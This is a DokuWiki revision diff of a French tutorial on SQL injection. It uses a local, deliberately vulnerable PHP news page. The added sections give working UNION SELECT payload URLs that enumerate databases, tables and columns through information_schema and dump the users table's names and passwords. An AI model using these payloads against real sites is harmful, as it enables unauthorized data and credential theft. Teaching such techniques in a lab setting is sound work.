Outils d'utilisateurs

Outils du Site


failles_web:sql_injection

Différences

Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.

Lien vers cette vue

failles_web:sql_injection [2012/06/15 19:06]
TheLizardKing
failles_web:sql_injection [2017/04/09 15:33] (Version actuelle)
Ligne 80: Ligne 80:
 </code> </code>
  
-<code PHP>+<file PHP index.php>
 <?php <?php
  
Ligne 91: Ligne 91:
 echo "<h1>".$news['titre']."</h1> par <i>".$news['auteur']."</i><br/>"; echo "<h1>".$news['titre']."</h1> par <i>".$news['auteur']."</i><br/>";
 echo "<p>".$news['contenu']."</p>"; echo "<p>".$news['contenu']."</p>";
-</code>+</file>
  
 ==== Utilisation de UNION ==== ==== Utilisation de UNION ====
Ligne 116: Ligne 116:
 | 1  | 2 | | 1  | 2 |
  
 +
 +On remarque ici que le résultat de la requête que l'on contrôle est mis à la suite de la première. Notre page affichera donc uniquement la première news, or ce que nous désirons, c'est afficher le résultat de notre propre requête. Il faut donc que la première requête ne renvois aucun résultat.
 +
 +<code SQL>
 +SELECT id,titre FROM news WHERE id=-1 UNION SELECT 1,2
 +</code>
 +^ ID ^ Titre ^
 +| 1  | 2 |
 +Le résultat est bien celui attendu :-)
  
 ==== Trouver le nombre de colonnes ==== ==== Trouver le nombre de colonnes ====
Ligne 149: Ligne 158:
 ==== Liste des bases de données ==== ==== Liste des bases de données ====
  
-Afin de maximiser les chances de trouver ce que nous cherchons, il est possible de lister toutes les bases de données présentent sur le serveur. La liste des bases de données est disponible dans la table //schemata// de la base de donnée //information_schema//+Afin de maximiser les chances de trouver ce que nous cherchons, il est possible de lister toutes les bases de données présentent sur le serveur. La liste des bases de données est disponible dans la table //schemata// de la base de donnée //information_schema//. [[http://dev.mysql.com/doc/refman/5.0/fr/information-schema.html|Plus d'information concernant la base de données information_schema]] 
 + 
 +<code> 
 +http://localhost/index.php?id=-1 UNION SELECT 1,2,group_concat(schema_name) FROM information_schema.schemata 
 +</code> 
 + 
 +La page renvoyée par cette requête ressemble à ça : 
 +<code> 
 +
 +par 2 
 + 
 +information_schema,sqli 
 +</code> 
 + 
 +Ici notre première requête ne renvois aucun résultat. La seconde requête elle renvois la liste des bases de données séparées par une virgule. Il en sera ainsi pour toutes les données extraites. 
 + 
 +==== Liste des tables ==== 
 + 
 +De la même manière que la liste des bases de données, la liste des tables de chaque base de données se trouve dans la base de données //information_schema// mais dans la table //tables//. Classiquement, on liste les tables de la base de données courante. 
 + 
 +<code> 
 +http://localhost/index.php?id=-1 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = database() 
 +</code> 
 + 
 +<code> 
 +news,users 
 +</code> 
 + 
 +==== Liste des colonnes d'une table ==== 
 + 
 +Les colonnes d'une table peuvent se trouver facilement grâce à la table //columns// de la base de données //information_schema//. 
 + 
 +<code> 
 +http://localhost/index.php?id=-1 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'users' 
 +</code> 
 + 
 +<code> 
 +id,name,password 
 +</code> 
 + 
 +==== Informations d'une table ==== 
 + 
 +Nous possédons toutes les données nécessaire pour extraire des informations intéressante de la base de donnée. En l'occurrence les informations des utilisateurs. 
 + 
 +<code> 
 +http://localhost/index.php?id=-1 UNION SELECT 1,2,group_concat(id,0x202D20,name,0x202D20,password) FROM users 
 +</code> 
 + 
 +<code>1 - administrateur - SuperPass</code> 
 + 
 +Ici, chaque tuple de la table //users// sera affiché et séparé par une virgule. Le //group_concat// réalise cette opération. Chaque tuple est affiché sous la forme //id - name - password//. Le //0x202D20// correspond en fait à l'espace et au tiret qui sépare chaque colonne.
  
failles_web/sql_injection.1339780015.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)